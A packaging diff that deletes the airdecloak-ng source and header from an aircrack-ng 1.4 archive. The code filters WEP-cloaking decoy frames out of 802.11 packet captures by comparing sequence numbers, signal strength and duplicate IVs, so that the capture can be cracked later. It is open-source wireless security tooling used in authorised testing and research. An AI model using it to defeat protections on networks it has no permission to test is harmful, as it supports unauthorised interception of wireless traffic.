-					// Status known, so go to next frame
-					break;
-				case POTENTIALLY_CLOAKED_FRAME:
-					// puts("CFC_with_valid_packets_mark_others_cloaked() -
-					// Invalid frame status found: POTENTIALLY_CLOAKED_FRAME");
-					break; // Should never happen here
-				case UKNOWN_FRAME_CLOAKING_STATUS:
-					// printf("Found unknown cloaking status frame, checking it
-					// - tested: %d,%d (SN: %d)\n",
-					//		_packet_elt_head->current->fromDS,
-					//_packet_elt_head->current->toDS,
-					//_packet_elt_head->current->sequence_number);
-					if (compare_SN_to_current_packet(current_packet) == 0)
-					{
-						_packet_elt_head->current->is_cloaked = CLOAKED_FRAME;
-						++nb_marked;
-					}
-					break;
-			}
-		}
-
-		// Go back to the current packet
-		_packet_elt_head->current = current_packet;
-
-	} while (next_packet_pointer() == 1);
-
-	// Reset packet pointer so that next usages of current packet
-	// will start from the beginning (in case it's forgotten).
-	reset_current_packet_pointer();
-
-	printf("%d frames marked\n", nb_marked);
-
-	return nb_marked;
-}
-
-static int CFC_filter_duplicate_sn_ap(void)
-{
-	int nb_packets = 0;
-	puts("Cloaking - Removing the duplicate SN for the AP");
-
-	reset_current_packet_pointer();
-
-	return nb_packets;
-}
-
-static int CFC_filter_duplicate_sn_client(void)
-{
-	int nb_packets = 0;
-	puts("Cloaking - Removing the duplicate SN for the client");
-
-	reset_current_packet_pointer();
-
-	return nb_packets;
-}
-
-static int CFC_filter_duplicate_sn(void)
-{
-	// This will remove a lot of legitimate packets unfortunately
-	return CFC_filter_duplicate_sn_ap() + CFC_filter_duplicate_sn_client();
-}
-
-static int get_average_signal_ap(void)
-{
-	long all_signals;
-	long nb_packet_used;
-	int average_signal;
-
-	// Init
-	all_signals = nb_packet_used = 0;
-	average_signal = -1;
-
-	// Check if signal quality is included
-	if (_pfh_in.linktype == LINKTYPE_PRISM_HEADER
-		|| _pfh_in.linktype == LINKTYPE_RADIOTAP_HDR)
-	{
-
-		if (reset_current_packet_pointer_to_ap_packet() == true)
-		{
-
-			// Calculate signal for all beacons and probe response (and count
-			// number of packets).
-			do
-			{
-				if (_packet_elt_head->current->version_type_subtype
-						== BEACON_FRAME
-					|| _packet_elt_head->current->version_type_subtype
-						   == PROBE_RESPONSE)
-				{
-					++nb_packet_used;
-					all_signals += _packet_elt_head->current->signal_quality;
-				}
-			} while (next_packet_pointer_same_fromToDS_and_source(
-						 _packet_elt_head->current)
-					 == true);
-
-			// Calculate the average
-			if (nb_packet_used > 0)
-			{
-				average_signal = (int) (all_signals / nb_packet_used);
-				if (((all_signals / (double) nb_packet_used) - average_signal)
-						* 100
-					> 50)
-				{
-					++average_signal;
-				}
-			}
-			printf("Average signal for AP packets: %d\n", average_signal);
-		}
-		else
-		{
-			puts("Average signal: No packets coming from the AP, cannot "
-				 "calculate it");
-		}
-	}
-	else
-	{
-		puts("Average signal cannot be calculated because headers does not "
-			 "include it");
-	}
-
-	// Return
-	return average_signal;
-}
-
-/**
- * Filter packets based on signal.
- *
- * Use signal from all beacons, make an average
- * This will allow to find out what packet are legitimate (coming from the AP)
- * and thus removing cloaked packets
- * By being able to remove cloaked packets, we'll find out the signal of the
- * sensor(s)
- * //and we'll be able to filter out the cloaked packets of clients.
- *
- * Enh: use signal from packets marked uncloaked instead of beacons.
- *
- * @return Number of frames marked cloaked.
- */
-static int CFC_filter_signal(void)
-{
-
-// Maximum variation of the signal for unknown status frame and potentially
-// cloaked frames (up & down)
-#define MAX_SIGNAL_VARIATION 3
-#define MAX_SIGNAL_VARIATION_POTENTIALLY_CLOAKED 2
-
-	int average_signal;
-	int nb_packets = 0;
-	puts("Cloaking - Signal filtering");
-
-	// 1. Get the average signal
-	average_signal = get_average_signal_ap();
-
-	if (average_signal > 0)
-	{
-
-		reset_current_packet_pointer_to_ap_packet(); // Will be successful
-		// because signal > 0
-
-		do
-		{
-			switch (_packet_elt_head->current->is_cloaked)
-			{
-				case POTENTIALLY_CLOAKED_FRAME:
-					// Max allowed variation for potentially cloaked packet is a
-					// bit lower
-					// than the normal variation
-					if (abs(_packet_elt_head->current->signal_quality
-							- average_signal)
-						> MAX_SIGNAL_VARIATION_POTENTIALLY_CLOAKED)
-					{
-						_packet_elt_head->current->is_cloaked = CLOAKED_FRAME;
-						++nb_packets;
-						break;
-					}
-#if __GNUC__ == 7
-					__attribute__((fallthrough));
-#endif
-				case UKNOWN_FRAME_CLOAKING_STATUS:
-					// If variation is > max allowed variation, it's a cloaked
-					// packet
-					if (abs(_packet_elt_head->current->signal_quality
-							- average_signal)
-						> MAX_SIGNAL_VARIATION)
-					{
-						_packet_elt_head->current->is_cloaked = CLOAKED_FRAME;
-						++nb_packets;
-						break;
-					}
-					// If the signal quality is the same as the average signal,
-					// we're sure it's not a cloaked packet.
-					// Regarding any other signal difference compared to the
-					// average signal
-					// We could play with POTENTIALLY_CLOAKED frame depending on
-					// the variation
-					// but currently, it's unloacked if inferior to the max
-					// allowed signal
-					_packet_elt_head->current->is_cloaked
-						= VALID_FRAME_UNCLOAKED;
-					break;
-				case VALID_FRAME_UNCLOAKED:
-					break;
-				case CLOAKED_FRAME:
-					break;
-				default:
-					break;
-			}
-		} while (next_packet_pointer_same_fromToDS_and_source_as_current()
-				 == true);
-	}
-
-	// TODO: Do it also for clients: Calculate the average for know cloaked
-	// frames
-	//       (each frame marked cloaked here) and then filter out wep cloaked
-	//       frames.
-	//        or implement it as another filter (since clients may have the same
-	//        signal
-	//        as the sensor).
-
-	// Return
-	return nb_packets;
-}
-
-static int CFC_filter_consecutive_sn(void)
-{
-	int nb_packets = 0;
-	puts("Cloaking - Consecutive SN filtering");
-
-	nb_packets
-		= CFC_filter_consecutive_sn_ap() + CFC_filter_consecutive_sn_client();
-
-	return nb_packets;
-}
-
-static int CFC_filter_consecutive_sn_ap(void)
-{
-	int nb_packets = 0;
-	BOOLEAN next_packet_result = false;
-	puts("Cloaking - Consecutive SN filtering (AP)");
-
-	// Filtering for the client is not easy at all, maybe we can base on the
-	// fact that wep cloaking clone everything in the packet
-	// except the data (and ofc the SN).
-
-	// So, atm filtering for the AP only (hoping the client is not uploading
-	// data ;))
-
-	reset_current_packet_pointer_to_ap_packet();
-
-	// Go to the first beacon or probe response.
-	while (
-		!(_packet_elt_head->current->version_type_subtype == BEACON_FRAME
-		  || _packet_elt_head->current->version_type_subtype == PROBE_RESPONSE))
-	{
-
-		next_packet_result
-			= next_packet_pointer_same_fromToDS_and_source_as_current();
-		// Check if we didn't reach end of capture.
-		if (next_packet_result == false)
-		{
-			break;
-		}
-	}
-
-	// If end of capture, no packets have been filters.
-	if (next_packet_result == false)
-	{
-		return 0;
-	}
-
-	puts("NYI");
-
-	return nb_packets;
-}
-
-static int CFC_filter_consecutive_sn_client(void)
-{
-	int nb_packets = 0;
-
-	puts("Cloaking - Consecutive SN filtering (Client)");
-
-	// For consecutive SN of the client, if packets are cloaked, we can rely on
-	// null frames or probe request/association request.
-
-	reset_current_packet_pointer_to_client_packet();
-
-	// while
-
-	puts("Not yet implemented");
-
-	return nb_packets;
-}
-
-static int CFC_filter_duplicate_iv(void)
-{
-	unsigned char * ivs_table;
-	int nb_packets = 0;
-	puts("Cloaking - Duplicate IV filtering");
-
-	ivs_table = (unsigned char *) calloc(16777215, 1);
-	if (ivs_table == NULL)
-	{
-		puts("Failed to allocate memory for IVs table, exiting");
-		exit(-1);
-	}
-
-	// 1. Get the list of all IV values (and number of duplicates
-	reset_current_packet_pointer();
-	do
-	{
-		if (_packet_elt_head->current->frame_type == FRAME_TYPE_DATA)
-		{
-			// In the array, there's as much elements as the number of possible
-			// IVs
-			// For each IV, increase by 1 the value of the IV position so that
-			// we can
-			// know if it was used AND the number of occurrences.
-			*(ivs_table + get_iv(_packet_elt_head->current)) += 1;
-		}
-	} while (next_packet_pointer() == true);
-
-	// 2. Remove duplicates
-	reset_current_packet_pointer();
-	do
-	{
-		if (_packet_elt_head->current->frame_type == FRAME_TYPE_DATA)
-		{
-
-			switch (_packet_elt_head->current->is_cloaked)
-			{
-				case POTENTIALLY_CLOAKED_FRAME:
-					// If the frame is potentially cloaked, mark it as cloaked
-					if (*(ivs_table + get_iv(_packet_elt_head->current)) > 1)
-					{
-						_packet_elt_head->current->is_cloaked = CLOAKED_FRAME;
-						++nb_packets;
-					}
-#if __GNUC__ == 7
-					__attribute__((fallthrough));
-#endif
-				case UKNOWN_FRAME_CLOAKING_STATUS:
-					// If unknown status, mark it as potentially cloaked
-					if (*(ivs_table + get_iv(_packet_elt_head->current)) > 1)
-					{
-						_packet_elt_head->current->is_cloaked
-							= POTENTIALLY_CLOAKED_FRAME;
-					}
-					break;
-				case VALID_FRAME_UNCLOAKED:
-					break;
-				case CLOAKED_FRAME:
-					break;
-				default:
-					break;
-			}
-		}
-	} while (next_packet_pointer() == true);
-
-	free(ivs_table);
-
-	return nb_packets;
-}
-
-static char * status_format(int status)
-{
-	size_t len = 19;
-	char * ret = (char *) calloc(1, (len + 1) * sizeof(char));
-	char * rret;
-
-	switch (status)
-	{
-		case VALID_FRAME_UNCLOAKED:
-			strncpy(ret, "uncloacked", len + 1);
-			break;
-		case CLOAKED_FRAME:
-			strncpy(ret, "cloaked", len + 1);
-			break;
-		case POTENTIALLY_CLOAKED_FRAME:
-			strncpy(ret, "potentially cloaked", len + 1);
-			break;
-		case UKNOWN_FRAME_CLOAKING_STATUS:
-			strncpy(ret, "unknown cloaking", len + 1);
-			break;
-		default:
-			snprintf(ret, len + 1, "type %d", status);
-			break;
-	}
-
-	rret = (char *) realloc(ret, strlen(ret) + 1);
-	return (rret) ? rret : ret;
-}
-
-static int CFC_mark_all_frames_with_status_to(int original_status,
-											  int new_status)
-{
-	int nb_marked = 0;
-	char *from, *to;
-	from = status_format(original_status);
-	to = status_format(new_status);
-
-	printf("Cloaking - Marking all %s status frames as %s\n", from, to);
-	free(from);
-	free(to);
-
-	reset_current_packet_pointer();
-
-	do
-	{
-		if (_packet_elt_head->current->is_cloaked == original_status)
-		{
-			_packet_elt_head->current->is_cloaked = new_status;
-			++nb_marked;
-		}
-	} while (next_packet_pointer() == 1);
-
-	printf("%d frames marked\n", nb_marked);
-
-	return nb_marked;
-}
-
-static int CFC_filter_signal_duplicate_and_consecutive_sn(void)
-{
-	int nb_marked = 0;
-	// This filter does not call all other filters but does a lot of checks
-	// and depending on these check decide if a packet is cloaked or not
-	puts("Cloaking - Filtering all packet with signal, duplicate and "
-		 "consecutive SN filters");
-
-	puts("Not yet implemented");
-
-	return nb_marked;
-}
-
-// When checking do it on packet with the same direction (ToFroDS: 10 or 01)
-// WDS/Ad hoc not implemented yet
-/**
- * Check for cloaking and mark the status all packets (Cloaked or uncloaked).
- */
-static BOOLEAN check_for_cloaking(void)
-{
-	int cur_filter;
-	int cur_filters = _filters;
-
-	puts("Cloaking - Start check");
-
-	// Parse all packets, then for each packet marked valid (or cloaked), check
-	// forward if any packet has
-	// an unknown status and same SN. If it's the case, mark the current packet
-	// CLOAKED
-	if (_options_disable_base_filter == 0)
-	{
-		// CFC_with_valid_packets_mark_others_with_identical_sn_cloaked();
-		CFC_base_filter();
-	}
-
-	// Apply all filter requested by the user in the requested order
-	// but do not forget to warn when there's no filter given.
-	while (cur_filters != 0)
-	{
-		cur_filter = cur_filters % 10;
-		cur_filters /= 10;
-
-		switch (cur_filter)
-		{
-			case FILTER_SIGNAL:
-				CFC_filter_signal();
-				break;
-			case FILTER_DUPLICATE_SN:
-				CFC_filter_duplicate_sn();
-				break;
-			case FILTER_DUPLICATE_SN_AP:
-				CFC_filter_duplicate_sn_ap();
-				break;
-			case FILTER_DUPLICATE_SN_CLIENT:
-				CFC_filter_duplicate_sn_client();
-				break;
-			case FILTER_CONSECUTIVE_SN:
-				CFC_filter_consecutive_sn();
-				break;
-			case FILTER_DUPLICATE_IV:
-				CFC_filter_duplicate_iv();
-				break;
-			case FILTER_SIGNAL_DUPLICATE_AND_CONSECUTIVE_SN:
-				CFC_filter_signal_duplicate_and_consecutive_sn();
-				break;
-			case 0:
-				puts("0 is not a valid filter number");
-				exit(1);
-			default:
-				printf("Filter %d not yet implemented\n", cur_filter);
-				exit(1);
-		}
-	}
-
-	// Marking of all unknown status packets uncloaked (MUST BE AT THE END)
-	CFC_mark_all_frames_with_status_to(UKNOWN_FRAME_CLOAKING_STATUS,
-									   VALID_FRAME_UNCLOAKED);
-	// ... and the potentially cloaked cloaked
-	CFC_mark_all_frames_with_status_to(POTENTIALLY_CLOAKED_FRAME,
-									   CLOAKED_FRAME);
-
-	return true;
-}
-
-// Return 1 on success
-static BOOLEAN write_packets(void)
-{
-	// Open files ...
-	FILE * invalid_status_file;
-
-	if (_filename_output_invalid != NULL)
-		invalid_status_file = init_new_pcap(_filename_output_invalid);
-	else
-		invalid_status_file = init_new_pcap("invalid_status.pcap");
-
-	_output_cloaked_packets_file = init_new_pcap(_filename_output_cloaked);
-	_output_clean_capture_file = init_new_pcap(_filename_output_filtered);
-
-	// ... and make sure opening was ok ...
-	if (_output_clean_capture_file == NULL)
-	{
-		printf("FATAL ERROR: Failed to open pcap for filtered packets\n");
-		if (_output_cloaked_packets_file != NULL)
-		{
-			fclose(_output_cloaked_packets_file);
-		}
-		fclose(invalid_status_file);
-		return false;
-	}
-
-	// ... for both.
-	if (_output_cloaked_packets_file == NULL)
-	{
-		printf("FATAL ERROR: Failed to open pcap for cloaked packets\n");
-		fclose(_output_clean_capture_file);
-		fclose(invalid_status_file);
-		return false;
-	}
-
-	puts("Writing packets to files");
-
-	reset_current_packet_pointer();
-	do
-	{
-		switch (_packet_elt_head->current->is_cloaked)
-		{
-			case CLOAKED_FRAME:
-				write_packet(_output_cloaked_packets_file,
-							 _packet_elt_head->current);
-				break;
-			case VALID_FRAME_UNCLOAKED:
-				if (_packet_elt_head->current->is_dropped == 0)
-				{
-					write_packet(_output_clean_capture_file,
-								 _packet_elt_head->current);
-				}
-				break;
-			default:
-				// Write them somewhere else
-				write_packet(invalid_status_file, _packet_elt_head->current);
-				printf("Error: Invalid packet cloaking status: %d\n",
-					   _packet_elt_head->current->is_cloaked);
-				break;
-		}
-	} while (next_packet_pointer() == true);
-
-	puts("End writing packets to files");
-	// Close files
-	fclose(_output_cloaked_packets_file);
-	fclose(_output_clean_capture_file);
-	fclose(invalid_status_file);
-	return true;
-}
-
-// Return 1 on success
-static BOOLEAN print_statistics(void) { return true; }
-
-static void usage(void)
-{
-	char * version_info = getVersion(
-		"Airdecloak-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC);
-	printf(
-		"\n"
-		"  %s - (C) 2008-2018 Thomas d\'Otreppe\n"
-		"  https://www.aircrack-ng.org\n"
-		"\n"
-		"  usage: airdecloak-ng [options]\n"
-		"\n"
-		"  options:\n"
-		"\n"
-		"   Mandatory:\n"
-		"     -i <file>             : Input capture file\n"
-		"     --ssid <ESSID>        : ESSID of the network to filter\n"
-		"        or\n"
-		"     --bssid <BSSID>       : BSSID of the network to filter\n"
-		"\n"
-		"   Optional:\n"
-		"     -o <file>             : Output packets (valid) file (default: "
-		"<src>-filtered.pcap)\n"
-		"     -c <file>             : Output packets (cloaked) file (default: "
-		"<src>-cloaked.pcap)\n"
-		"     -u <file>             : Output packets (unknown/ignored) file "
-		"(default: invalid_status.pcap)\n"
-		"     --filters <filters>   : Apply filters (separated by a comma). "
-		"Filters:\n"
-		"           signal:               Try to filter based on signal.\n"
-		"           duplicate_sn:         Remove all duplicate sequence "
-		"numbers\n"
-		"                                 for both the AP and the client.\n"
-		"           duplicate_sn_ap:      Remove duplicate sequence number "
-		"for\n"
-		"                                 the AP only.\n"
-		"           duplicate_sn_client:  Remove duplicate sequence number for "
-		"the\n"
-		"                                 client only.\n"
-		"           consecutive_sn:       Filter based on the fact that IV "
-		"should\n"
-		"                                 be consecutive (only for AP).\n"
-		"           duplicate_iv:         Remove all duplicate IV.\n"
-		"           signal_dup_consec_sn: Use signal (if available), duplicate "
-		"and\n"
-		"                                 consecutive sequence number "
-		"(filtering is\n"
-		"                                  much more precise than using all "
-		"these\n"
-		"                                  filters one by one).\n"
-		"     --null-packets        : Assume that null packets can be "
-		"cloaked.\n"
-		"     --disable-base_filter : Do not apply base filter.\n"
-		//"     --disable-retry       : Disable retry check, don't care about
-		// retry bit.\n"
-		"     --drop-frag           : Drop fragmented packets\n"
-		"\n"
-		"     --help                : Displays this usage screen\n"
-		"\n",
-		version_info);
-	free(version_info);
-}
-
-int main(int argc, char * argv[])
-{
-	int temp = 0, option;
-	int manual_cloaked_fname = 0, manual_filtered_fname = 0;
-	BOOLEAN tempBool;
-	char * input_filename;
-	char * input_bssid;
-	char * filter_name;
-
-	// Initialize
-	input_bssid = NULL;
-	input_filename = NULL;
-	_is_wep = -1;
-	_output_cloaked_packets_file = NULL;
-	_output_clean_capture_file = NULL;
-	_input_file = NULL;
-	memset(_bssid, 0, 6);
-	_filters = 0;
-
-	_filename_output_invalid = NULL;
-
-	// Parse options
-	while (1)
-	{
-
-		int option_index = 0;
-
-		static struct option long_options[]
-			= {{"essid", 1, 0, 'e'},
-			   {"ssid", 1, 0, 'e'},
-			   {"bssid", 1, 0, 'b'},
-			   {"help", 0, 0, 'h'},
-			   {"filter", 1, 0, 'f'},
-			   {"filters", 1, 0, 'f'},
-			   {"null-packets", 0, 0, 'n'},
-			   {"null-packet", 0, 0, 'n'},
-			   {"null_packets", 0, 0, 'n'},
-			   {"null_packet", 0, 0, 'n'},
-			   {"no-base-filter", 0, 0, 'a'},
-			   {"disable-base-filter", 0, 0, 'a'},
-			   //{"disable-retry",		0, 0, 'r'},
-			   {"drop-frag", 0, 0, 'd'},
-			   {"input", 1, 0, 'i'},
-			   {"cloaked", 1, 0, 'c'},
-			   {"filtered", 1, 0, 'f'},
-			   {0, 0, 0, 0}};
-
-		// option = getopt_long( argc, argv, "e:b:hf:nbrdi:",
-		option = getopt_long(
-			argc, argv, "e:b:hf:nbdi:c:o:u:", long_options, &option_index);
-
-		if (option < 0) break;
-
-		switch (option)
-		{
-			case ':':
-
-				printf("\"%s --help\" for help.\n", argv[0]);
-				return (1);
-
-			case '?':
-
-				printf("\"%s --help\" for help.\n", argv[0]);
-				return (1);
-			case 'a':
-				_options_disable_base_filter = 1;
-				break;
-			case 'i':
-				input_filename = optarg;
-				break;
-			case 'c':
-				if (optarg != NULL)
-				{
-					_filename_output_cloaked = optarg;
-					manual_cloaked_fname = 1;
-				}
-				break;
-			case 'o':
-				if (optarg != NULL)
-				{
-					_filename_output_filtered = optarg;
-					manual_filtered_fname = 1;
-				}
-				break;
-			case 'u':
-				if (optarg != NULL) _filename_output_invalid = optarg;
-				break;
-			case 'b':
-				if (getmac(optarg, 1, _bssid))
-				{
-					puts("Failed to parse MAC address");
-					exit(1);
-				}
-
-				input_bssid = optarg;
-				// make sure it was converted successfully
-				break;
-			case 'f':
-				// Filters
-				filter_name = strtok(optarg, ",");
-				temp = 1;
-				while (filter_name != NULL)
-				{
-					if (strcmp(filter_name, "signal") == 0
-						|| atoi(filter_name) == FILTER_SIGNAL)
-					{
-						_filters = _filters + (FILTER_SIGNAL * temp);
-					}
-					else if (strcmp(filter_name, "duplicate_sn") == 0
-							 || atoi(filter_name) == FILTER_DUPLICATE_SN)
-					{
-						_filters = _filters + (FILTER_DUPLICATE_SN * temp);
-					}
-					else if (strcmp(filter_name, "duplicate_sn_ap") == 0
-							 || atoi(filter_name) == FILTER_DUPLICATE_SN_AP)
-					{
-						_filters = _filters + (FILTER_DUPLICATE_SN_AP * temp);
-					}
-					else if (strcmp(filter_name, "duplicate_sn_client") == 0
-							 || atoi(filter_name) == FILTER_DUPLICATE_SN_CLIENT)
-					{
-						_filters
-							= _filters + (FILTER_DUPLICATE_SN_CLIENT * temp);
-					}
-					else if (strcmp(filter_name, "consecutive_sn") == 0
-							 || atoi(filter_name) == FILTER_CONSECUTIVE_SN)
-					{
-						_filters = _filters + (FILTER_CONSECUTIVE_SN * temp);
-					}
-					else if (strcmp(filter_name, "duplicate_iv") == 0
-							 || atoi(filter_name) == FILTER_DUPLICATE_IV)
-					{
-						_filters = _filters + (FILTER_DUPLICATE_IV * temp);
-					}
-					else if (
-						strcmp(filter_name, "signal_dup_consec_sn") == 0
-						|| atoi(filter_name)
-							   == FILTER_SIGNAL_DUPLICATE_AND_CONSECUTIVE_SN)
-					{
-						_filters = _filters
-								   + (FILTER_SIGNAL_DUPLICATE_AND_CONSECUTIVE_SN
-									  * temp);
-					}
-					else
-					{
-						usage();
-						puts("Invalid filter name");
-						exit(1);
-					}
-					temp *= 10;
-					filter_name = strtok(NULL, ",");
-				}
-				break;
-			case 'd':
-				_options_drop_fragments = 1;
-				break;
-			case 'n':
-				_options_assume_null_packets_uncloaked = 1;
-				break;
-			case 'r':
-				_options_disable_retry = 1;
-				printf("'%c' option not yet implemented\n", option);
-				exit(0);
-				break;
-			case 'e':
-				printf("'%c' option not yet implemented\n", option);
-				exit(0);
-				break;
-			case 'h':
-				usage();
-				exit(0);
-				break;
-		}
-	}
-
-	if (input_filename == NULL)
-	{
-		usage();
-		puts("Missing input file");
-		exit(1);
-	}
-
-	// Add options (some are mandatory, some are optional).
-	/*
-		Mandatory:
-			-i file: input file
-			--ssid ESSID (or --essid or --ssid) or -b BSSID (or --bssid or --ap)
-
-		Optional:
-			-o <file>             : Output packets (valid) file (default:
-	   <src>-filtered.pcap)
-			-c <file>             : Output packets (cloaked) file (default:
-	   <src>-cloaked.pcap)
-			-u <file>             : Output packets (unknown/ignored) file
-	   (default: invalid_status.pcap)
-			-f (--filters/--filter)
-				Available filters:
-					* signal: Tries to filter based on the signal (AP never/is
-	   not supposed to moves thus ...)
-					* duplicate_sn: remove all duplicate SN
-					* duplicate_sn_ap/duplicate_sn_client: remove all duplicate
-	   SN from the AP/Client
-					* consecutive_sn: filter based on the fact that IV should be
-	   consecutive (only for AP).
-				Several filters can be used and you can choose the order of
-	   application of these filters
-					(that will impact the results).
-			--null-packets: Do not assume that null packets are not cloaked.
-			--no-base_filter: do not apply base filter.
-			--disable-retry: disable retry check, don't care about retry bit.
-			--drop-frag: Drop fragmented packets
-	*/
-
-	printf("Input file: %s\n", input_filename);
-	printf("BSSID: %s\n", input_bssid);
-	puts("");
-
-	// Open capture file
-	puts("Opening file");
-	_input_file = open_existing_pcap(input_filename);
-
-	if (_input_file == NULL)
-	{
-		return 1;
-	}
-
-	// Create output filenames
-	if (manual_cloaked_fname == 0 || manual_filtered_fname == 0)
-	{
-		temp = strlen(input_filename);
-		if (!manual_cloaked_fname)
-			_filename_output_cloaked = (char *) calloc(temp + 9 + 5, 1);
-
-		if (!manual_filtered_fname)
-			_filename_output_filtered = (char *) calloc(temp + 10 + 5, 1);
-
-		while (--temp > 0)
-		{
-			if (input_filename[temp] == '.') break;
-		}
-
-		// No extension
-		if (temp == 0)
-		{
-			if (!manual_cloaked_fname)
-				snprintf(_filename_output_cloaked,
-						 strlen(input_filename) + 9 + 5,
-						 "%s-cloaked.pcap",
-						 input_filename);
-			if (!manual_filtered_fname)
-				snprintf(_filename_output_filtered,
-						 strlen(input_filename) + 10 + 5,
-						 "%s-filtered.pcap",
-						 input_filename);
-		}
-		else
-		{
-			if (!manual_cloaked_fname)
-			{
-				strncpy(_filename_output_cloaked,
-						input_filename,
-						strlen(input_filename) + 9 + 5 - 1);
-				strncat(_filename_output_cloaked, "-cloaked.pcap", 14);
-			}
-			if (!manual_filtered_fname)
-			{
-				strncpy(_filename_output_filtered,
-						input_filename,
-						strlen(input_filename) + 10 + 5 - 1);
-				strncat(_filename_output_filtered, "-filtered.pcap", 15);
-			}
-		}
-	}
-
-	printf("Output packets (valid) filename: %s\n", _filename_output_filtered);
-	printf("Output packets (cloaked) filename: %s\n", _filename_output_cloaked);
-
-	// 1. Read all packets and put the following in a linked list:
-	//    Data and management packets only (filter out control packets)
-	//    Packets where BSSID is the address given in parameter
-	//    When we find a beacon, make sure the network is WEP
-
-	puts("Reading packets from file");
-	tempBool = read_packets();
-	fclose(_input_file);
-
-	if (tempBool != true)
-	{
-		printf("Failed reading packets: %d\n", temp);
-		return 1;
-	}
-
-	// 2. Go through the list and mark all cloaked packets
-	puts("Checking for cloaked frames");
-	tempBool = check_for_cloaking();
-	if (tempBool != true)
-	{
-		printf("Checking for cloaking failed: %d\n", temp);
-		return 1;
-	}
-
-	// 3. Write all data to output files
-
-	// Write packets
-	puts("Writing packets to files");
-	tempBool = write_packets();
-	if (tempBool != true)
-	{
-		printf("Writing packets failed: %d\n", temp);
-		return 1;
-	}
-
-	// 4. Print some statistics
-	// - Is the network using WEP?
-	// - WEP cloaking in action?
-	// - Clients MACs
-	// - Number of data packets for the BSSID
-	//   Number of good packets kept
-	//   Number of cloaked packets removed
-	// - File names
-	print_statistics();
-
-	return 0;
-}

aircrack-ng-1.4.tar.gz/src/airdecloak-ng.h Deleted

@@ -1,215 +0,0 @@
-/*
- *
- * This program is free software; you can redistribute it and/or
- * modify it under the terms of the GNU General Public License as
- * published by the Free Software Foundation; either version 2 of the
- * License, or (at your option) any later version.
- *
- * This program is distributed in the hope that it will be useful, but
- * is provided AS IS, WITHOUT ANY WARRANTY; without even the implied
- * warranty of MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, and
- * NON-INFRINGEMENT.  See the GNU General Public License for more details.
- *
- * You should have received a copy of the GNU General Public License
- * along with this program; if not, write to the Free Software
- * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston,
- * MA 02110-1301, USA.
- *
- * In addition, as a special exception, the copyright holders give
- * permission to link the code of portions of this program with the
- * OpenSSL library under certain conditions as described in each
- * individual source file, and distribute linked combinations
- * including the two.
- * You must obey the GNU General Public License in all respects
- * for all of the code used other than OpenSSL.  If you modify
- * file(s) with this exception, you may extend this exception to your
- * version of the file(s), but you are not obligated to do so.  If you
- * do not wish to do so, delete this exception statement from your
- * version.  If you delete this exception statement from all source
- * files in the program, then also delete it here.
- */
-
-#ifndef _AIRUNDEFENSE_H_
-#define _AIRUNDEFENSE_H_
-
-#include "pcap.h"
-#include "aircrack-util/common.h"
-
-typedef enum { false, true } BOOLEAN;
-
-/*
-typedef enum {
-	CLOAKING_NOT_YET_CHECKED,
-	VALID_FRAME_UNCLOAKED,
-	CLOAKED_FRAME,
-	CLOAKING_STATUS_TBD, // Identical SN
-	DROPPED_FRAME,
-	WEIRD_FRAME_TYPE
-} CLOAKING_STATUS;
-*/
-// How far should we check for cloaked packets (backward and forward)
-#define PACKET_CHECKING_LENGTH 10
-
-#define DIRECTION_BACKWARD 0
-#define DIRECTION_FORWARD 1
-
-#define UKNOWN_FRAME_CLOAKING_STATUS -1
-#define VALID_FRAME_UNCLOAKED 0
-#define CLOAKED_FRAME 2
-#define POTENTIALLY_CLOAKED_FRAME 1
-#define DROPPED_FRAME 3
-
-// Weird frames are rejected before being checked atm
-#define WEIRD_FRAME_TYPE 100
-
-#define FRAME_TYPE_MANAGEMENT 0
-#define FRAME_TYPE_CONTROL 1
-#define FRAME_TYPE_DATA 2
-
-#define BEACON_FRAME 0x80
-#define PROBE_RESPONSE 0x50
-#define AUTHENTICATION 0xB0
-#define ASSOCIATION_REQUEST 0x00
-#define ASSOCIATION_RESPONSE 0x10
-#define NULL_FRAME 0x48
-
-#define FILTER_SIGNAL 1
-#define FILTER_DUPLICATE_SN 2
-#define FILTER_DUPLICATE_SN_AP 3
-#define FILTER_DUPLICATE_SN_CLIENT 4
-#define FILTER_CONSECUTIVE_SN 5
-#define FILTER_DUPLICATE_IV 6
-#define FILTER_SIGNAL_DUPLICATE_AND_CONSECUTIVE_SN 7
-
-#define getBit(pckt, startbit) getBits(pckt, startbit, 1)
-#define get_iv(packet)                                                         \
-	((packet)->iv[0] + ((packet)->iv[1] * 256) + ((packet)->iv[2] * 256 * 256))
-
-const int PACKET_HEADER_SIZE = sizeof(struct pcap_pkthdr);
-
-struct packet_elt_header
-{
-	struct packet_elt * first;
-	struct packet_elt * current;
-	struct packet_elt * last;
-	int nb_packets;
-	int average_signal; // Calculate the average signal (for later)
-	// Currently do it on management frames (or control frames); may change in
-	// the future.
-} * _packet_elt_head;
-
-struct packet_elt
-{
-	struct pcap_pkthdr header; /* packet header */
-	unsigned char * packet; /* packet */
-	unsigned short
-		length; /* packet length, just to know how much to write to the file */
-
-	// A few interesting stuff coming from the packets
-	int fromDS;
-	int toDS;
-
-	int frame_type; /* MGMT, CTRL, DATA */
-	int frame_subtype; // Not yet filled but will do
-	unsigned char version_type_subtype; // First byte
-
-	unsigned char source[6];
-	unsigned char destination[6];
-	unsigned char bssid[6];
-
-	int sequence_number;
-	int fragment_number;
-	unsigned char iv[3];
-	unsigned char key_index;
-	unsigned char icv[4];
-	int signal_quality;
-	int retry_bit;
-	int more_fragments_bit;
-
-	// int packet_number;			/* packet number */
-
-	int is_cloaked;
-	int is_dropped; // Do we have to drop this frame?
-
-	int complete; // 0: no, 1: yes
-
-	struct packet_elt * next;
-	struct packet_elt * prev;
-};
-
-// Not already used (partially maybe)
-struct decloak_stats
-{
-	unsigned long nb_read; /* # of packets read       */
-	unsigned long nb_wep; /* # of WEP data packets   */
-	unsigned long nb_bad; /* # of bad data packets   */
-	unsigned long nb_wpa; /* # of WPA data packets   */
-	unsigned long nb_plain; /* # of plaintext packets  */
-	unsigned long nb_filt_wep; /* # of filtered WEP pkt  */
-	unsigned long nb_cloak_wep; /* # of cloaked WEP pkt  */
-};
-
-static void usage(void);
-static int getBits(unsigned char b, int from, int length);
-static FILE * openfile(const char * filename, const char * mode, int fatal);
-static BOOLEAN write_packet(FILE * file, struct packet_elt * packet);
-static FILE * init_new_pcap(const char * filename);
-static FILE * open_existing_pcap(const char * filename);
-static BOOLEAN read_packets(void);
